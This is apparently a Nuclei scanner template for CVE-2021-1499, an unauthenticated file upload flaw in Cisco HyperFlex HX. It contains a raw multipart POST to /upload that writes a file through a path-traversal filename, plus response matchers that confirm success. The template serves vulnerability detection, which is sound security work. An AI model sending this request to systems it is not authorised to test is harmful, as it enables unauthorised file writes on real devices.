id: CVE-2021-1499 info: name: Cisco HyperFlex HX Data Platform - File Upload Vulnerability author: gy741 severity: medium description: A vulnerability in the web-based management interface of Cisco HyperFlex HX Data Platform could allow an unauthenticated, remote attacker to upload files to an affected device. This vulnerability is due to missing authentication for the upload function. An attacker could exploit this vulnerability by sending a specific HTTP request to an affected device. A successful exploit could allow the attacker to upload files to the affected device with the permissions of the tomcat8 user. reference: - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/ - https://nvd.nist.gov/vuln/detail/CVE-2021-1499 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-upload-KtCK8Ugz - http://packetstormsecurity.com/files/163203/Cisco-HyperFlex-HX-Data-Platform-File-Upload-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N cvss-score: 5.3 cve-id: CVE-2021-1499 cwe-id: CWE-306 tags: cve,cve2021,cisco,fileupload,intrusive requests: - raw: - | POST /upload HTTP/1.1 Host: {{Hostname}} Accept: */* Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------253855577425106594691130420583 Origin: {{RootURL}} Referer: {{RootURL}} -----------------------------253855577425106594691130420583 Content-Disposition: form-data; name="file"; filename="../../../../../tmp/passwd9" Content-Type: application/json MyPasswdNewData->/api/tomcat -----------------------------253855577425106594691130420583-- matchers-condition: and matchers: - type: status status: - 200 - type: word words: - "application/json" part: header - type: word words: - '{"result":' - '"filename:' - '/tmp/passwd9' condition: and